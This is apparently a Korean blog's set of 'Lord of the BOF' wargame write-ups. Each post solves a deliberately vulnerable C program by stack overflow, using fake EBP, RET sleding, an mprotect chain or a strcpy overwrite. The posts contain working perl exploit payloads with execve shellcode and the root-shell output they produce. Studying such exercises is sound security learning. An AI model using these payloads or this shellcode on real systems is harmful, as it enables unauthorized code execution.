\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x94\x84\x04\x08O\x85\x04\x08\x84\x98\x04\x08,
\x85\x04\x08\x94\x84\x04\x08O\x85\x04\x08\x85\x98\x04
\x08T\x81\x04\x08\x94\x84\x04\x08O\x85\x04\x08\x86\x98
\x04\x08\xfa\x86\x04\x08\x94\x84\x04\x08O\x85\x04\x08
\x87\x98\x04\x08I\x81\x04\x08$\x84\x04\x08\x90\x90\x90\x90\x036\x83\x00'"`
?????????????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????????0萃??O???,???O???T???O??????O???I?$????? 6?
sh-3.00$ id
uid=504(evil_wizard) gid=504(evil_wizard) groups=503(hell_fire) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 504
get down like that
sh-3.00$ 


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
dark_eyes -> hell_fire  (1) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,

문제의 소스입니다.

[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c
/*
The Lord of the BOF : The Fellowship of the BOF 
- hell_fire
- Remote BOF on Fedora Core 3 
- hint : another fake ebp or got overwriting 
- port : TCP 7777
*/

#include <stdio.h>

int main()
{
char buffer[256];
char saved_sfp[4];
char temp[1024];
  
printf("hell_fire : What's this smell?\n");
printf("you : ");
fflush(stdout);

// give me a food
fgets(temp, 1024, stdin);
   
// save sfp 
memcpy(saved_sfp, buffer+264, 4);
 
// overflow!!
strcpy(buffer, temp);

// restore sfp 
memcpy(buffer+264, saved_sfp, 4);

printf("%s\n", buffer);
}

프로그램이 동작하는 과정을 차례로 정리해보자면,

1) fgets로 temp에 입력값을 받음.
2) memcpy로 sfp를 백업해둠.
3) strcpy로 temp를 buffer로 복사
4) memcpy로 sfp를 복구.

이렇게 정리 할 수 있습니다.

방법 1)
힌트를 보면 hint : another fake ebp or got overwriting 라고 적혀있는데요 저는 fake ebp를 이용해서 풀어보았습니다.

fake ebp를 쓰기 위해서는 ebp를 먼저 덮어씌워야하는데 문제에서는 sfp를 복구시키고 있습니다.
그렇다면, main함수의 ebp를 조작할 것이아니라 main함수가 종료되면 복귀하는 __libc_start_main함수의 ebp를 조작하면 됩니다.

먼저 페이로드는 다음과 같습니다.

[buffer + dummy (268bytes)] [leaveret(4bytes)] [dummy(88bytes)][fake ebp(4bytes)(mprotect를 가리킨다)] [leaveret(4bytes)] [mprotect] [쉘코드 위치(4bytes)] [인자1] [인자2] [인자3] [쉘코드]

이 페이로드가 진행되는 상황을 정리해보겠습니다
1) ret인데 eip가 leave의 주소를 가리키고 있으므로, leave의 주소로 리턴됬음. (이때 main함수를 탈출해서 __libc_start_main함수로 돌아왔음.)
2) 첫번째 leave가 진행되면서 pop %ebp 때문에 결국 fake ebp를 ebp로 세팅함.
3) 첫번째 ret이 진행되면서 pop %eip로 인해 eip는 두번째 leave의 주소를 가리키고 있음.
4) 두번째 leave가 진행되면서 fake ebp가 mov %ebp,%esp 로 인해서 esp는 fake ebp가 가리키고 있는 값을 가리키고 있음.
5) 두번째 ret이 진행되면서 pop %eip로 인해서 eip는 fake ebp가 가리키고 있는 mprotect부분으로 세팅된다.
6) mprotect을 쓴다. (여기서 mprotect이 사용되는 이유는 stdin이 rw권한만 가지고있고 x권한을 가지고 있지 않기 때문이다. 때문에, 여기서 x(exec)권한을 부여해준다. 여기서 많이 삽질을 했었다.)
7) 쉘코드 위치로 이동해서 쉘코드를 이동시킨다.

[dark_eyes@Fedora_1stFloor ~]$ (perl -e 'print "a"x268,"\x61\x85\x04\x08","s"x88,"\x6c\xe1\xff\xf6","\x61\x85\x04\x08","\x70\x46\x71\x00","\x58\xe2\xff\xf6", "\x00\xe0\xff\xf6", "\x00\x08\x00\x00", "\x07\x00\x00\x00", "\x90"x500, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"';cat)|nc localhost 7777
hell_fire : What's this smell?
you : 
id
uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t
my-pass
euid = 503
sign me up


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
hell_fire -> evil_wizard  (0) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,
[iron_golem@Fedora_1stFloor tmp]$ cat ../dark_eyes.c
/*
     The Lord of the BOF : The Fellowship of the BOF
     - dark_eyes
     - Local BOF on Fedora Core 3
     - hint : RET sleding
*/

int main(int argc, char *argv[])
{
     char buffer[256];
     char saved_sfp[4];
   
     if(argc < 2){
          printf("argv error\n");
          exit(0);
     }
  
     // save sfp
     memcpy(saved_sfp, buffer+264, 4);

     // overflow!!
     strcpy(buffer, argv[1]);

     // restore sfp
     memcpy(buffer+264, saved_sfp, 4);

     printf("%s\n", buffer);
}


RET Sleding을 하라고 한다.
RET을 여러번 실행시킴으로써, esp와 ebp를 끌어올릴 수 있다.
(RET을 여러번 함으로써 esp를 끌어올리고 새로운 함수로 진입한 뒤, mov %esp,%ebp(esp -> ebp)를 해주기 떄문)

Fedora Core 3에서는 EBP를 기준으로 인자 참조를 한다.

execl의 주소는 0x7a5720 이다.
페이로드의 양쪽을 더블 쿼터로 묶지 않았을 때는 Segmentation Fault가 발생했다.
내가 알기로는 strcpy는 \x20에 영향을 받지않는 것으로 알고있었지만 양쪽을 더블쿼터로 묶는 순간 execl이 정상적으로 실행 됬다...;;

""과 NULL은 다른듯하다.
execve

[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes "`perl -e 'print "a"x268,"\xb9\x84\x04\x08"x3,"\x20\x57\x7a\x00"'`"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?燎?퉬퉬 Wz
sh-3.00$ id
uid=502(dark_eyes) gid=502(dark_eyes) groups=501(iron_golem) context=user_u:system_r:unconfined_t
sh-3.00$because of you 


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
hell_fire -> evil_wizard  (0) 2014.02.20
dark_eyes -> hell_fire  (1) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,
Fedora Core3이라 Ascii-Armor이 적용 되서, 인자를 주기가 매우 어려워졌다.
그래서, Fake EBP기법이나 RET을 이용해서 인자를 맞춰주기로 했다.

(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>

아스키아머가 적용된 execl함수의 주소다.

그런데 오현이형이 말씀해주신 바로는 

./iron_golem `perl -e 'print "a"x264,"\x10\x96\x04\x08","\x23\x57\x7a"'`

이런 식으로 페이로드를 짜면 안된다고 말씀해주셨다.
쉘을 띄우는 역할을 담당하는 shell.c를 만들어 놓고 컴파일 한 뒤, 페이로드 상에서 execl로 실행시켜주는 식이었다.

=====================================================

#include <stdio.h>

int main()
{
     setreuid(geteuid(),geteuid());
     setregid(getegid(),getegid());
     execl("/bin/sh","sh",0);
}

[gate@Fedora_1stFloor ~]$ ./iron_golem `perl -e 'print "a"x264,"\x10\x96\x04\x08","\x23\x57\x7a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?#Wz
sh-3.00$ id
uid=501(iron_golem) gid=501(iron_golem) groups=500(gate) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 501
blood on the fedora


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
hell_fire -> evil_wizard  (0) 2014.02.20
dark_eyes -> hell_fire  (1) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
Posted by windowhan
,

remote bof다. 바인드 쉘코드 넣고 리턴주소를 브루트포싱으로 때려맞췄다


LOB20_remotebof_sc_bruteforce.py


'Wargame > LOB (Redhat9)' 카테고리의 다른 글

nightmare -> xavius  (0) 2014.02.20
succubus -> nightmare  (0) 2014.02.20
zombie_assassin -> succubus  (0) 2014.02.20
assassin -> zombie_assassin  (0) 2014.02.20
giant -> assassin  (0) 2014.02.20
Posted by windowhan
,
fgets 임시버퍼 공간을 이용했음.ㅋ

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x16,"\xeb\x08\xb8\xe0\x8a\x05\x40\xff\xd0\xf4\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x3b\x70\x61\x73\x73\x3b","\x04\x50\x01\x40"';cat)|./xavius
id
???????????????멘?@奇拗/bin/sh;pass;P@id

Xshellid
/bin/sh: Xshellid: command not found
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
pass^H^H^H^H^H^Hmy-pass
/bin/shmy-pass: command not found
my-pass
euid = 519
throw me away


'Wargame > LOB (Redhat9)' 카테고리의 다른 글

xavius -> death_knight  (0) 2014.02.20
succubus -> nightmare  (0) 2014.02.20
zombie_assassin -> succubus  (0) 2014.02.20
assassin -> zombie_assassin  (0) 2014.02.20
giant -> assassin  (0) 2014.02.20
Posted by windowhan
,
[succubus@localhost succubus]$ ./nightmare `perl -e 'print "aaaa"x3,"\xe0\x8a\x05\x40","bbbb","\xf9\xbf\x0f\x40","\x10\x84\x04\x08"x6,"aaaa","\xa0\xfa\xff\xbf","\x7c\xfa\xff\xbf"'`
aaaaaaaaaaaa?@bbbb廈@??????aaaa????
bash$ my-pass
euid = 518
beg for me
bash$


.plt = Procedure Linkable Table 
함수들 링크가 가능한 테이블
프로그램이 호출하는 모든 함수가 나열되어 있다.
컴파일 타임에 생성되는 테이블로 어떠한 GOT 영역의 주소를 참조 할지 정해져 있음.

프로그램에서 함수를 호출할 때, 운영체제의 라이브러리에서 호출해오는데 libc의 버전에 따라 호출 형태나 링크 형태가 달라질 수 있기 때문에 그 영향을 받지 않기 위해서 함수의 기계어 코드를 실행 파일이 직접 가질 수 있게 하는 테이블임.

그런데 여기서

/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/
#include
#include
#include
#include
main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }
        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
        // dangerous waterfall
        memset(buffer+40+8, 'A', 4);
}


문제 위에 plt라고 되어있던 부분은 plt를 찾아서 공부하란 의미인 것 같고, 실제 문제는 buffer+48부분에 AAAA로 덮는 부분이엇다.

이부분을 strcpy를 이용해 내가 원하는 데이터로 덮어버리면 성공


'Wargame > LOB (Redhat9)' 카테고리의 다른 글

xavius -> death_knight  (0) 2014.02.20
nightmare -> xavius  (0) 2014.02.20
zombie_assassin -> succubus  (0) 2014.02.20
assassin -> zombie_assassin  (0) 2014.02.20
giant -> assassin  (0) 2014.02.20
Posted by windowhan
,